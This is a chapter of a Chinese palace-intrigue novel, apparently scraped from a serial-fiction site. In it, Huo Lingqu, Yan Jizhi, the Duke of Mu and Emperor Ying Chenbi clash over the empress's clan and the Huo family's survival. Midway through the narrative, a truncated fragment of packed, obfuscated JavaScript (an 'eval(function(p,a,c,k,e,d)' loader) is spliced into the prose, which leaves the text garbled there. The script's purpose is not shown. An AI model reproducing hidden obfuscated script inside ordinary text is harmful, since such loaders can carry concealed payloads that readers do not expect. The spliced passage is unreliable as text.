原牧炽嗤之以鼻:“我都当我全家被逼上悬崖了,什么事还能让老皇帝改主意?” 魏王敛目,慢拍说:“昌隆侯的野心绷不住了,想同时拿下北境和霍家。” “他不怕把自己撑死吗?”原牧炽不信:“你要编也编得像样一点吧。” “陛下得到密报,昌隆侯想让蜀王死在北境,朱家还可能想运个男人送进长春宫,陛下决定今晚给你办洗尘宴的意图是在朱家。”霍海啸问:“倘若朱家在如此仓促之际都要动手,霍家和朱家正面交锋,你以为,按昌隆侯的设想应该会是什么?” 原牧炽正经些:“他想造反?” “圣人还不愿意相信,但若是今夜朱家动手了,形势必定要变,皇帝会第一个拦着不让太上皇动北境,你再出头就是自找没趣。”魏王着重警醒:“记住了?” “知道了。”居然让他没有用武之地?!原牧炽真郁闷。 魏王府的护卫长快马奔来,有急事禀告魏王,魏王听禀告后没再留,走了。 原牧炽见状刚想赶剩下的两个,晏诺蹿出来报:穆国公请世子即刻赶往长春宫。 “穆国公?”晏霁之看向霍海啸,霍海啸猜:“大概是贵妃和皇帝吵翻了,太后不愿意做和事佬,我爹觉得他一个人哄不了三个人,让你去长春宫灭火。” “我昨天刚把你贵妃妹妹劝好,这才一个早上哎,又吵翻?”晏霁之都有点难以置信:“不至于吧,何况若是要灭火不还有你和你叔么,这亲爹总比我管用吧。” 霍海啸表示:“这就证明我们都能火上浇油。” 晏霁之默下,给他竖个大拇指,然后走人。 霍灵渠在长春宫的神仙殿陪大伯耗着,她姑母没那么好的耐性,早走了,晏霁之进殿,看见穆国公浑像个怨妇靠着朱漆圆木柱装哀怨凄惨,不禁多看眼霍灵渠。 殿内外都没有宫婢,晏霁之略过给贵妃行礼,径直走向穆国公,穆国公霍秦川也径直塞给他张纸条,晏霁之接过纸条,一眼认出是霍灵渠的亲笔,第二眼看内容,从‘昨天早上,我祖父对我说……’看到最后的‘好狗不挡道,闪开’真有种闭眼睛的冲动。 晏霁之去烛台前借个火,把烧起来的纸条扔进香炉,纸条烧做灰烬,他再阖香炉盖。 霍秦川苦啊,比咬到黄连还苦,他都想抱着这圆木柱哭一哭,晏霁之又走回来,他差点没想掏出手帕来擦擦还没哭出来的眼泪,整整心绪,他刚想叮嘱,哪想晏霁之竟然跟他请辞:“霍叔叔,这件事,我想我没本事能劝好贵妃,您还是另请——” “不不不,年轻人,相信自己,一定要相信自己,你要有信心!”霍秦川瞬间犹如鲤鱼打滚般振奋:“你要相信你一定能劝好贵妃,叔叔我其实只是在这里等你过来,我很忙的,我这就要去哄皇帝了,这边就交给你,叔叔相信你一定能够做到,我先走了。” “霍——” 霍秦川脚底抹油开溜,生怕走慢步就被这年轻人抓住又要跟他推辞,徒留晏霁之的手臂伸在半空中,晏霁之默下收回手臂,转向上座,看着一副根本不容被置喙的女人,他叹息,走到女人身边坐,刚落座又差点一个激灵:“此地安全吧?” “放心吧。”霍灵渠一脸余怒未消,晏霁之怪哉:“不应该啊,以嬴忱璧对你的愧,以及他想用霍灵渠来给他圆满的心,你在他心里多少能比令愔夫人重要些吧,怎么会?你真的能感觉出来,嬴忱璧连郭皇后和忠毅伯想害死你都不在意吗?” “我今早跟他的冲突,我原原本本写下来了,他什么态度,还不明朗吗?” 霍灵渠好笑道:“他难道不是在说,他用后位和储位来买霍家给郭氏和忠毅伯府做狗,这是他给霍家的恩赐,霍家不能拒绝,霍家只能按照他的构想被放在这个位置上,纵使他的宝贝疙瘩们想让霍家死绝,霍家也只配给他的宝贝疙瘩们当牛做马。” 眉峰染霜,霍灵渠眼底恨意凛冽:“我霍家只会站着做人,不会跪着做狗,他跪久了站不起来还想让霍家趴下来任由他们踩踏,你不觉得荒谬?!他这态度还会给霍家活路吗,他只想糟践欺辱尽霍家之后诛灭霍家,既如此,我还怎么跟他客气?” 晏霁之将女人揽进怀中,郑重叮咛:“不要有异样,嬴忱璧,他太是个做皇帝的料了,他对再隐晦的异常之举都能察觉出,他会宁可错杀都绝不放过。” 霍灵渠热泪盈眶软化下来,她想得再透彻都不可能不忧虑自责她扼除了家族蛰伏之机将会给霍家增多不利,晏霁之的支持不啻于在她独自强撑时迎来支援依靠。 “可是我都跟他撕破脸了。”霍灵渠略带着哭腔,真不知是她想撒娇还是习惯成自然,总归在晏霁之听来真让他有点想乐,把女人抱过来拥入怀中,调侃道:“这会儿知道怕了,你嚣张的时候怎么不想想你那五个字会带来多大灾祸?” “怎么是我那五个字带来的灾祸,是皇帝就没想给霍家活路,我懒得跟他虚与委蛇,把窗户纸捅破害霍家不能蛰伏了而已。”霍灵渠立时振作反对:“谁害怕呀,我既然不想忍了,我既然敢骂他就没带怕的,大不了我跟他同归于尽,谁怕呀!” “好好好,你不怕、你不怕,不要再想什么同归于尽了。”晏霁之温和安抚:“这事儿也没那么严重,毕竟皇帝自己的责任最大,能修补,应该还能修补。” 霍灵渠抗拒:“我可不想跟他修补。” 晏霁之失笑,捏捏女人的小下巴,说:“还记得我昨夜提到的孟怋乂吧?” “记得呀,我还奇怪,你对这位孟先生似乎很了解,可他没有在我们的生活中出现过,不应该呀。”霍灵渠怀疑:“是前世授康三十六年之后你结识的人吗?” 晏霁之沉默下曝出:“前世,他死在我手上。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“霍家只是想求条活路。”霍灵渠握过晏霁之的手,凝起苦涩的眉间哀凉又愤懑无力:“霍家跟他到底有什么深仇大恨啊,他连一条活路都不能给霍家?” “我不知道。”晏霁之低眸沉寂:“就像我从来没想过他会对郭皇后和忠毅伯想害死你都能无动于衷,我以前觉得他对霍家有情份,他对你应该还有愧,但现在,我没有把握了,他对待郭氏和芮家的态度与对待其他人的态度真的是两个极端。” 霍灵渠牵牵唇,没再言语,闭目靠在晏霁之怀里。晏霁之拥住她,眸光深邃,交代道:“这两年怕是都不会安稳了,诛灭昌隆侯之后,孟怋乂若是没有随朱家覆灭,他怕是还能再找上臧芣缄,太上皇能忍到明年下半年也就差不多了。 霍家当前的生机在于皇帝和太上皇都还要用霍家,大局落定后,贵妃在人前薨逝,太后颐养天年,霍家慢慢退出朝堂应该还能求到生机,站着做人的生机。” “求不到呢?”霍灵渠不想把家族寄托给侥幸,晏霁之眼底戾气闪过,神情陡然森冷:“那就搏一把,能杀出条血路来就是赚了。” 殿内淡淡蔷薇香飘散,化尽冷意于柔暖间。 霍秦川揣着小心脏来到皇极宫求见,被晾过两三刻钟后,终于得以被传召入殿。 待皇帝把大殿内的宫人都遣退、只他们君臣二人时,霍秦川鼓鼓劲儿就冲上去抱大腿,刚想摆谱的皇帝嬴忱璧懵了懵,低头就看见穆国公抱着他的大腿哭,嬴忱璧:“……” “穆国公?!” “陛下呀,良药苦口利于病,忠言逆耳利于行,霍家对您的忠心天地可鉴,霍家冤枉,霍家苦啊,贵妃只是想骂醒您想让您自尊自爱,您若是因此就想诛杀霍家,一定会六月飞霜大旱三年黄河倒灌,您以后更是就再也听不到真话了,陛下啊……” 嬴忱璧甩几遍都甩不掉,只能认了,由着穆国公哭丧似的抱着他大腿嚎,沉着脸质问:“看来穆国公很清楚贵妃今早都做什么混账事了,你说该怎么办?” 霍秦川眨巴着没啥眼泪的眼睛抬头装装可怜:“要不,您也去骂骂贵妃,您要是觉着只骂贵妃不解气,您就骂老臣、骂霍漓江,随您想骂霍家哪个想骂几遍都行。” 嬴忱璧呵呵:“您霍家人当真金贵呢。” 霍秦川苦哈哈:“那,陛下您觉得应当如何,咱们商量商量?” 嬴忱璧讥诮:“不如穆国公先给朕来两声狗叫?”话虽如此,嬴忱璧自己都不当真的,他又不是昏君,何至于逼人学狗叫,他就是想显示下怒火,谁想下一刻,皇帝他居然听到:“汪,汪汪,汪汪汪,汪,汪汪汪,汪汪汪。” 嬴忱璧:“……” 这大概就是沟通失当的哀伤吧。 穆国公霍秦川把事态当做皇帝暴怒来处理,实则嬴忱璧没有那么恼怒,至于对皇帝人品信任什么的,在看到贵妃还原她和皇帝的冲突时霍秦川大概就不敢奢望了吧。 嬴忱璧黑着脸真有种无处发泄的憋闷:“穆国公当真有骨气呢。” “瞧大外甥你这话说的,舅舅我给外甥学两声狗叫怎么了,咱没那么多刻板规矩,小辈犯错要管教,小辈委屈了当然也要哄。你看前天,我刚骂过你,这不都是一回事儿。 这跟骨气能有什么相干?这就是舅舅责任范围内的责任,你们小俩口吵架了还各自都觉着委屈了,我这又是舅父又是伯父的,我不来做和事佬谁来劝呀。” “她还委屈?”嬴忱璧瞬间小脾气上来了:“她多威风啊,她有什么委屈?” “能不委屈么,难不成就你的心肝宝贝是宝,别人的心肝宝贝就是草啊。”霍秦川很有怨的含糊嘟囔,嬴忱璧没听太清晰偏生一阵烦躁:“嘀咕什么呢,大声点。” 霍秦川猛地蹦起来,一退三步远跟皇帝保持距离,讨好表示过了,接下来自然要讨公道:“我妹妹你的养母以及霍家跟你没有深仇大恨吧,你把霍家当什么? 灵渠把你们争吵的始末写给我看了,我应该没有理解错吧,你的意思是,你都把后位和储君位送给霍家了,霍家难道还想不识趣吗?你很清楚郭氏和忠毅伯想要什么吧,对于他们想让霍家人死绝的谋算,你乐得纵容,你还想反令霍家给他们当牛做马。 这是霍家拿到后位和储君位的代价,霍家还不能不要,因为你顾念养母的养育之恩,所以霍家想退出都不能,霍家必须遵照你的意思被按在这个位置上,是吧;你觉得你很公平,是吧,既成全你的良心又能保着你的心肝宝贝们,两全其美。” 真触及到愤怒点了,霍秦川抛掉所有的装腔猛烈炮轰:“你爹当年挚爱温献皇后尚且都给足原配媳妇尊重,从来不曾让原配媳妇去给他外祖家和心爱的女人鞍前马后。 纵使你爹后来给了外祖家泼天荣宠,他也从来没想过让外祖家人欺辱继妻,照样给足我妹妹对妻室应有的尊重。你呢,你怎么有脸嚷嚷说你喜欢霍灵渠啊?” 晏霁之闯进来,嬴忱璧和霍秦川同看向他,晏霁之道:“霍叔,我和他谈谈。” 霍秦川二话没说就往外走,御前总管蒋厚运匆匆小跑来向陛下请罪,嬴忱璧让他退下,蒋厚运半眼没多瞟就告退。霍秦川来到殿外,逮个内侍令其去把英王找来。 大殿内,跌落的明媚将恢弘的殿阁照得愈发空旷,晏霁之俊脸怒火压抑:“是不是男人能不能给个坦诚,你把霍灵渠抢走到底是想对她好还是想作践她?” “我愿意把后位和储君位都给她,这不是想对她好吗?”嬴忱璧没那么恼怒都冒邪火,他做什么了,这一个个的怎么回事:“我不过就是问,饶是我把后位和储位都给她,霍皇后都容不下朕生母的娘家人吗?这不是理所当然的一问吗?” “什么叫做理所当然,难道你是拿后位和储位来和霍家谈交易吗,你立霍皇后与霍皇后能否容下你生母的娘家人有什么关系,霍皇后作甚要容不下你生母的娘家人?” 晏霁之强势反呛:“你言外之意是不是你根本不愿意公正,霍皇后必须忍让你生母的娘家人,哪怕你生母的娘家人想暗害死霍皇后,霍皇后也必须退让?否则你何至于有此一问,双方若起冲突,谁错追究谁,这不才是理所当然吗?” “好,就算是朕措辞不当,但,但毕竟是我生母的娘家人,她是我妻子,她就当是陪我给我早逝的生母尽孝了,她对我生母的娘家人退让一步又有何不可?”嬴忱璧只能咬死,他真的不想因为郭氏和忠毅伯那点不值一提的密谋再去追究计较了。 晏霁之笑了:“你说贵妃说过你不自爱是吧,看来你还真是跪久了站不起来了。” 嬴忱璧瞬间变脸色:“你说什么?” “所以你真的没想过计较郭皇后和忠毅伯欲害死霍贵妃的谋算?”枉他来时还有侥幸,多荒唐啊!晏霁之看着皇帝是如此陌生,到底是陌生还是他从未看清过?! “你很清楚,大皇子若在魏王府出事,有的是人会去推波助澜,届时,郭皇后一定会和忠毅伯谈:让霍贵妃死。你知他们的谋划不会成功,所以你连计较的想法都没有,你是不是甚至还觉得这不算什么事,霍家若因此事就闹个不休才是仗势欺人咄咄相逼?” 晏霁之猛然意识到:“你想让郭皇后辞位不只是因她实在担不起后位,还是因为爱吧。忠毅伯府眼巴巴盯着后位和储君位,都是你的宝贝疙瘩,你不想夹在中间难做。 所以,你要让郭皇后下来,把霍灵渠架上去,给你的宝贝疙瘩们找个共同的敌人,他们不必再缠斗,你自然也没什么要为难的了,真是妙哉啊嬴忱璧!” “我还真是眼瞎了才会以为你把霍灵渠从我身边抢走是想对她好!”晏霁之大发雷霆:“我告诉你,不管是皇后还是皇帝生母的爹,你别让我逮着他们想害我心爱的女人,否则,你等着给他们收拾烂摊子吧,臣祝皇帝陛下兜得住郭芮两家通敌卖国!” 语毕,晏霁之不顾君臣尊卑礼数,拂袖而去,嬴忱璧头疼得,咬牙吼—— “站住!!!” 123. 第123章 雄壮的大殿,渺小的身形,熠熠阳光下,犹若能蔽日的宫阙似要将人影倾轧。 英王晏墉匆匆赶到皇极宫就看见霍秦川在大殿外悠哉晒着太阳,差点没气不打一处来:“什么情况,你急吼吼的让人喊我过来,到底是不是我家兔崽子惹事了?” 穆国公霍秦川一副闲适地就差叼根草了:“贵妃和皇帝撕破脸了,我灭不了贵妃的火,只好请你家少爷来灭火,他在长春宫劝得差不多了就过来跟皇帝干架了。” 晏墉险些黑脸:“你故意的是吧?” “天地良心,霍漓江和霍海啸来了要火上浇油的。”霍秦川叫屈:“我连妹妹和侄女都劝不好还能想叫他俩吗,不是没辙了,我会想请你家少爷吗?我总不能请老爹吧。” “什么事?”晏墉想不应该啊:“有什么事能让贵妃和皇帝吵这么严重?” 霍秦川吊儿郎当的:“昨夜,杭修媛进椒房殿献计,皇后采纳了,今早就传召芮家女。贵妃就此事和皇帝谈论起来,谈到大皇子若是在魏王府出事,郭皇后和建威侯府必会不分青红皂白就认定是霍家做的,皇后必会趁机和忠毅伯谈:让霍贵妃死。 贵妃指责皇帝非但不想计较皇后和忠毅伯想害死她,还想压制住贵妃好逼迫霍家也宽容此事;皇帝反问贵妃,饶是他会把继后位和储君位都给霍家,霍皇后都容不下皇帝生母的娘家人吗?他们就吵起来了,贵妃最后骂了句:好狗不挡道。” “你家贵妃是真金贵啊。”晏墉听着前面觉得事情应该不严重,没想最后埋着个大雷:“不管多大火,在皇帝面前的分寸,贵妃难道还不懂吗?这话说了还能得了吗?” “反正贵妃都骂了,皇帝也听了,还不如想怎么解决呢。”霍秦川随意。 “皇帝什么态度?”晏墉问,霍秦川答曰:“我刚给他学了几声狗叫。” 晏墉一怔,一股仿佛能感同身受的心酸翻涌起来让他怪有些不是滋味,看眼身后高耸雄壮的大殿,衷心道:“你真疼爱这个侄女啊,比对舒窈都没差了。” 是啊,霍秦川有那么多处理方式,可他还是毫不犹豫地把贵妃侄女护在身后。 “我谢谢你啊,居然没怨我把火烧到你们家。”霍秦川一副玩世不恭的嬉皮笑脸。 “别耍嘴皮子了,唇亡齿寒,真到那一天,谁都逃不掉。”晏墉看眼头顶的太阳,问:“真能感觉出来,对于郭皇后和忠毅伯想让霍贵妃死,皇帝都不想计较吗?” 穆国公霍秦川藏尽笑意,眼底寒芒若隐若现,岁月痕迹停驻的脸上三分凉薄三分讥诮还有三分压抑的怒火交织:“人家不是都说了,朕都愿意把继后位和储君位给霍家了,霍皇后难不成还容不下皇帝生母的娘家人吗?” 晏墉低低头叹息,在太阳底下都驱不掉这层凉气:“我一直觉得皇帝有情义明是非,行事也算公正,是我看错还是人家能装呀,若不然,咱们其实反倒是在圣人手中更有活路吗,圣人再恩宠昌隆侯府也没有因为朱家就这样糟践别人家的。” 霍秦川翘翘嘴角:“谁还不是眼瞎了呢。” 暖阳下,朱甍碧瓦犹泛冷,金碧辉煌总是慢热。 大殿内,嬴忱璧龙颜铁青:“一个霍灵渠,也值得你拿晏家百年基业去拼吗?” 一个霍灵渠? 皇帝是真不觉得他这话有什么问题啊。 晏霁之唇畔勾起讽刺的弧度:“果然是自己的切身体会最准,她应该真的没有冤枉你,假若只有她和你们夫妇时遭遇刺客,你会毫不犹豫地救媳妇,你会等到你们夫妇安全了,等到霍灵渠已经死透了,你才会想起来:哦,原来还有霍灵渠在啊。” 嬴忱璧顿生懊恼更兼烦躁:“霁之!朕到底做什么了,你们一个个这么大怨,朕又没有想对霍家不好,朕只是希望霍皇后能容得下朕生母的娘家人,有错吗?” 晏霁之被这副厚颜无耻气笑了,到底是皇帝的思维与众不同还是皇帝的脸皮比城墙厚:“你连郭皇后和忠毅伯想害死霍贵妃都能不在意,这叫没有想对霍家不好?” “他们能成得了什么事?!”嬴忱璧振振有词回怼:“他们连谈都还没有开始谈,你们就已经预测到了,他们还能成得了什么事,就是个空想而已。” “空想而已,还要当回事儿吗?”说着又忍不住冒火,嬴忱璧不想怀疑都不得不多想:“朕也是不懂了,你们是还把他们那点伎俩看在眼里还是非要挑事啊?” 霍家若是因此事闹腾不休,皇帝是不是还能反而觉得霍家仗势欺人咄咄相逼,他话言犹在耳吧,皇帝居然还真能倒打一耙!晏霁之被气得想笑都笑不出,压住心凉,反唇相讥:“假若是霍贵妃存着心思想要让郭皇后和忠毅伯死,你欲如何?” “没有这种假设。”嬴忱璧否决。 没有?是没有还是他真想把霍家逼入绝境啊?!皇帝会不清楚,他若如此相逼,霍太后第一个就不能忍,霍家跟他决裂、郭皇后和忠毅伯身死只在朝夕之间。 晏霁之想,难怪霍灵渠还原的冲突中会以好狗不挡道戛然而止,是压抑、桎梏、窒息,皇帝强压下来的桎梏和窒息感令她懒得再争论。 “贵妃认为她和霍家连想退都不能,陛下是这个意思吗?” 嬴忱璧毫无阻碍反问:“做皇后,儿子做太子,为什么不要?” 晏霁之笑了,眉目舒展仿佛甚愉悦:“陛下想要圆满,是吧?” 皇帝嬴忱璧微微蹙眉总觉得有些不对劲,看着他,未语。 “你想要的圆满是什么呢?”晏霁之慢条斯理踏过两步,讽意溢于言表:“是你想要的都要在你身边,霍家和霍灵渠在此范围中,所以霍家连想退都不能,你想让霍灵渠做皇后,郭氏做宠妃,芮家享君王荣宠,他们还要和睦融洽,是吧?” 嬴忱璧幽幽看着他,仍然未语,晏霁之迷人的桃花眼中笑意盈盈风采潋滟,好意规劝:“按陛下的期待,臣建议您趁早自尽,这是您在此期待下最好的出路了。” “哦?”嬴忱璧不咸不淡地给他个反应,晏霁之善解人意道:“是啊,陛下想想,芮家是看到好的都想要,后位、储位、相位、当朝第一豪族的位置,哪个能放过? 郭氏连做皇后都诸多怨言,你若英年早逝,她做个年轻的太后都有可能会耐不住寂寞,你还能满足得了她吗?霍家在忍多了要忍让想害霍家死绝之人的委屈之后必然要爆发,到时候谁都不满意,谁都要恨你,恨到最后必然是都巴不得你去死啊。” 故此,晏霁之总结:“你自尽当然比死在你的宝贝疙瘩们手中不伤你的心啊。” 浑似朋友间的调侃,嬴忱璧没当真更没好气:“我想给早逝的生母尽孝都还有错了吗,霍皇后若是连我生母的娘家人都容不下,我生气难道还错了吗?” “不要拿你的生母当借口,你自己的私心你就自己担着,还拿你早逝的生母来当幌子,你要不要点脸啊?”晏霁之敞亮地鄙夷,嬴忱璧被这污蔑给气笑了:“你说什么,我拿生母当借口,你给我把话说清楚,要不然,朕把你发配边塞。” “第一,养恩大于生恩。”锋锐与愤怒相逼融进优雅肃穆,晏霁之微抬着下颌直视皇帝乃至将要有在气势上压倒皇帝的错觉:“你的生母养育你不足两年,我姑母温献皇后养育你尚且都有四年,你若懂得孝且有孝心,你应该对父亲和宗亲最好吧。 你的荣耀是父亲、是家族给予你的,你继承的是嬴氏的基业,你爹更不曾像我爹那般偏要捧着你的兄弟来可劲委屈你,那么你怎么只惦记生母? 不要拿你爹当借口,你生母过世都多少年了,你知道她对娘家人什么态度啊,你根本一厢情愿只按你自己的意愿在行事嘛,那你还管你爹的态度作甚,就在你眼皮底下的,滕王,他闲散多少年了,还有秦王府,你怎么不照拂他们? 第二,孝从来不教人枉顾律法枉顾公正漠视生命,不要玷污孝字。 芮家有多少烂摊子,你祖母生前,你爹从未骄纵外戚,你呢,你有何不能处置,你作甚非得给芮家兜着,你有什么脸心酸悲凉你爹对他的外祖家好? 假若你的生母还在世,你对你的生母不过是愚孝,愚孝从来都不是孝而是自己的私心。你对忠毅伯府芮家的宽纵根本只是你的私心,与你想对生母尽孝全然无关;甚至于,你打着给生母尽孝的旗号来放纵恶行,难道不是在糟践你生母的名声吗? 第三,你能安稳长大靠谁?你三兄特殊,他必有你爹亲自看顾着,除他之外,你们兄弟中除了你还有谁的生母不是要么够得宠要么家族够有实力,芮贤妃生了你,你就能有命吗,若非前有温献皇后,后有霍家要养你,你能活到自保的年纪吗?” 字字锥心刺骨! 正徽帝嬴忱璧黯然低眸。 晏霁之打量着皇帝琢磨他这会儿还像个人样,不再绕弯,坦诚布公问:“你究竟是不是想对霍家赶尽杀绝?霍家对你终归有恩惠吧,你爹的后宫有多惨烈,你有多少还在娘胎、还在襁褓中就惨死的兄弟姐妹,若非霍家,你焉能安稳长大?” “朕知道!”嬴忱璧低靡的心绪瞬间被挑起来更莫名有种焦头烂额之感,他就不懂了:“朕做什么了,你们一个个怀疑我对霍家包藏祸心,我不过是问,我把后位和储位都赐下,霍皇后都容不下朕生母的娘家人吗?这话有什么问题啊?” 皇帝这困惑样到底是真不懂还是装不懂啊,若是装的?晏霁之冷静下,尽量心平气和:“显国公有多想取霍家而代之啊,你拿你这笔交易去问问他,你看他愿不愿意答应? 你是皇帝,你就这样糟践人吗,我们有骄傲有自尊的,你把我们当什么,你懂不懂得尊重人啊,这话有什么问题,你真不懂还是装不懂,霍灵渠问你,有人想害死她,你是只想压制住她吗?你回答她,霍皇后是容不下想要害死她的人吗? 何况谈交易有选择权的,你呢,你连霍家想退都不让,你还不是想把霍家往死里逼吗,你还不是打着想糟践折辱尽霍家之后覆灭霍家的心思吗?” “不是,当然不是,朕没有!”嬴忱璧头都大了:“朕只是想,若能让霍皇后和芮家人和睦相处就尽量不要起冲突,芮家再怎么闹腾也只是空想,她是我妻子,念在我生母的份上,她退让一步又有何不可,朕根本没有想对霍家不好。” “没有?”晏霁之勃然反呛:“若霍皇后将来赐死芮家人,你还能放过霍家?” “若是人死都死了,朕还能怎么样?”嬴忱璧未经思索地给答案,好似就是他心所想,不必雕饰就能给出:“毕竟是我生母的娘家人,我总不能对她说,随霍皇后将来想将芮家人要杀要剐吧,况且我这话若说了,她八成又要觉得我指不定有点病了。” 晏霁之:“……” 嬴忱璧还是不大情愿跟他袒露心扉的,就好像是独属于自己的隐秘不愿意跟人分享,但情况在他意料之外还似乎很严重,他若再固执就真要自找罪受了。 要不霍灵渠怀疑皇帝指不定是有点病呢,嬴忱璧他大概可能也许真的是有点病在身上。晏霁之都被这措不及防的转折整懵了:“你什么意思,你不在意芮家?” 嬴忱璧真想把他踹出去,忍着忸怩训斥:“朕是好赖不分的人吗?” 我们当你是啊就差要给你盖章了!晏霁之按按额头,把皇帝的意思捋一遍,被神奇道:“你想尽量压制住霍贵妃和霍家,尽可能让霍家与芮家和睦共处,但若他们实在不能共存,霍皇后将来想赐死几个芮家人,你也听之任之,随意?” 嬴忱璧抿抿唇不想回应,晏霁之烦道:“说呀,非得藏着掖着能让你登仙啊?” 此时略有丝丝矫情的皇帝真想瞪他两眼,压着冷哼的腔调哼:“不听之任之,我还能对她怎样?毕竟是我生母的娘家人,我总不能对她说随她想将芮家人要杀要剐吧。” 晏霁之扶额:“你疯了是吧?” 嬴忱璧没都没想就跟小孩斗嘴似的对呛:“你才疯了呢。” “天爷,有你这么藏话的吗?”难怪皇帝一再大言不惭他没有想对霍家不好,晏霁之被逼得都想飚脏话:“你昨晚上脑子掉在温柔乡里没回来是吧?” 嬴忱璧可能真的被绕得有点脑抽抽,第一个念头竟然还是驳斥:“朕昨夜独自就寝的!”他还不能同意:“我不问她,霍皇后是容不下朕生母的娘家人吗,难道还能说随霍皇后意处置芮家人吗?那毕竟是我生母的娘家人。” 晏霁之立时嫌他:“你不能公正处置啊?” “你非得哪壶不开提哪壶吗?”嬴忱璧反嫌:“就算是我的私心,我不能有这点私心、不能想让他们都在我身边吗,我不和稀泥,他们还能相处吗?” “那你作甚非得想压制霍家?”晏霁之中肯炮轰:“你想让他们两家和睦相处,你应该压制住芮家莫生妄念,你偏反着来,他们还能相处、你还能有安宁吗?何况你的底线还是想要留霍家,你还没疯吗,你没疯你这么给自己挖坑?” “朕没糊涂,朕很清醒。”嬴忱璧有理有据反驳:“不就是因为朕的底线是要留霍家,朕清楚朕必定会对霍家好,所以能偏袒芮家时就偏袒些也好以示公正嘛。” 晏霁之:“……” 皇帝强大的思维逻辑啊,晏霁之真是想捂脸:“你不能切实一点吗,按你这思路明显只会加剧他们两家的冲突并且还会反噬于你,令芮家和霍家都憎恨你。 你以为穆国公为何是叫我来劝,霍漓江和霍海啸若是来了,今日就能把火烧起来,你的养母、你的贵妃,他们霍家全都当你是要折辱尽霍家之后诛灭霍家了。 霍灵渠今后不相信你不会想覆灭霍家都不可能了,结果你竟然还是想跟她白首终老的,我没见过这么想坑死自己的,你真的不是想挖坑把自己埋了吗?” 嬴忱璧:“……” “一个空想而已,贵妃和穆国公会如此狭隘吗?”嬴忱璧头疼。 “你心宽。”晏霁之怀疑:“这也是你放任椒房殿那位盼你死的原因之一吗?” 嬴忱璧怔下,微微侧侧头,不语。 就当是观念冲突造成的乌龙,个人有个人想法,不能强求,晏霁之明白,但不能认同:“卧榻之侧岂容他人鼾睡,你是皇帝啊,你应该最懂这个道理才是吧。 什么叫空想,有人想害死你、恨不得你全家都死绝,这是能等闲视之的?他们不会成功不是他们会手下留情而是我们能防住,可若是有个万一呢,谁能担保世间没有意外,你不会在阴沟里翻船,这天下只有千日做贼没有千日防贼的。 人家想害死你,你都宽容,那么你能留下昌隆侯吗,这不都是一个性质吗?倘若你能宽容郭氏盼你死又想强迫霍家不要计较郭氏和忠毅伯想害死霍贵妃,你有何不能宽容昌隆侯,还是你根本就是偏袒,你想过穆国公现在心会有多寒吗?” 嬴忱璧怔住,看向他,眼神中藏不住的是疑虑,晏霁之再被气笑了:“你根本就没懂,你始终觉得是我们小题大做,霍家应该宽容忠毅伯和郭氏的杀心,是吧?” 晏霁之动怒道:“嬴忱璧你到底是跪久了站不起来还是遇上郭氏和忠毅伯就要犯糊涂,你想逼霍家对想害死霍家的人退让,霍家还敢相信你吗? 谁还敢相信你啊,这件事若往外传,正常人谁不会想,你能这么对霍家,你不会那么对我们吗?若是我们和芮家起冲突,芮家想除掉我们,我们逃过芮家的杀机活下来后是不是还得对芮家卑躬屈膝地退让,有你皇帝在给芮家人撑腰呢! 把事情做这么绝,你还没疯吗?你今后再怎么做,你都休想拢回霍家的信任了。” 言尽,晏霁之拂袖往外走,嬴忱璧愣下连忙追上去拦他,晏霁之冷淡道:“这件事不会往外传,但你能不能向霍太后和贵妃解释清楚,她们能不能相信你,我帮不了你,我没本事填你这么大的坑,你就自己担着吧,反正你自己造的孽。” “霁之?!”不管嬴忱璧有没有想透彻,他只能想先过眼前这关:“就当是朕一时糊涂,但太后和贵妃的脾性,你多少也清楚,你就帮朕想想办法。” “不,你不是一时糊涂,就是你心意的照射。”晏霁之直视皇帝,讽刺:“就像,昨天在魏王府,郭皇后公然违拗皇帝,你的大总管都还要捧着皇后娘娘。” 嬴忱璧无奈:“霍家难道还受不住郭家的恨意吗?” “受得住就应该容忍仇家想害死自己,你认为这样才公平?”晏霁之怫然讥讽:“恰似你自信你必定会对霍家好,所以当有人和霍家起冲突时,你永远偏向别人。 待到双方矛盾不可调和时,霍家下死手,你看你偏袒的人死了,你说既然人死都死了,那就这样吧,你是想追求公正才偏袒,你在意的是霍家。” “你看霍家能不能相信你?!”晏霁之疾言厉色,愤怒溢于言表:“郭家的出路在哪儿,你心疼妻儿,你把皇位传下去呀,郭皇后不都在考量太子良娣了吗? 若是你都不会把皇位传给郭氏生的儿子,你还惺惺作态不嫌假吗? 你怎么不怪罪霍家为何要跟郭家结仇,既然已经成仇,你还想逼迫霍家宽纵仇家,你是慈悲还是虚伪,你如此行事,除了让你两面不是人之外还能得到什么?” 嬴忱璧闭上眼,不语。 晏霁之冷静下劝导:“你真不觉得你是在自找苦吃吗,你可以让芮家和霍家相安无事,只要你能管制住芮家人的妄想,可你偏偏为你所谓的公正放纵芮家的妄念,你难道都看不懂你这么做只会令他们两家水火不相容最终结成死仇吗? 按你想的公正,芮家还能不被你放纵成第二个朱家吗,你将来又会落个什么下场,还会不是芮家和霍家全都憎恨你吗,你以为我建议你趁早自尽是戏言吗?” 半响,嬴忱璧睁眸问:“朕该如何安抚太后和贵妃?” 晏霁之答曰:“你若没有再对大皇子寄予厚望,七月初一,你把大皇子出继吧。” “换个主意。”嬴忱璧自己有此想法和被赶鸭子上架去做当然是两回事。 “要么,你让郭皇后来选,想废后还是把大皇子出继。”晏霁之忽而诡秘一笑:“哪怕明年正月就要辞位,我猜,只能二选一时,郭后还是会选择把儿子过继出去。” 过会儿,嬴忱璧允道:“就这样吧,七月初一让郭氏做个选择。” 晏霁之沉默两息,退后一步作揖告退,嬴忱璧道:“跟朕去长春宫。” “我能帮你向穆国公解释就不错了,你带着穆国公去长春宫还不够吗?” “跟朕去长春宫。”嬴忱璧坚持。 御前总管蒋厚运进殿来禀告:魏王和晋王求见,嬴忱璧问:“他们什么事?” 大总管低低头说:晋王将魏王府的任逍姑娘玷污了,嬴忱璧&晏霁之:“……” “让他们去长春宫候着,朕一会儿就到。”嬴忱璧赶走大总管,再对晏霁之陈述要求,晏霁之再抗拒:“我对这热闹没兴趣,我跟你去看这种事太损我的格调了。” 嬴忱璧吃秤砣铁了心了:“跟朕去长春宫。” 晏霁之:“……”你还能说句别的话吗? 抗争不过,晏霁之郁闷往殿外走帮皇帝向穆国公解释,皇帝嬴忱璧独自在偌大的殿内,过往如走马观花般闪过,他站立良久,来到窗前,看见殿外阳光普照。 长春宫 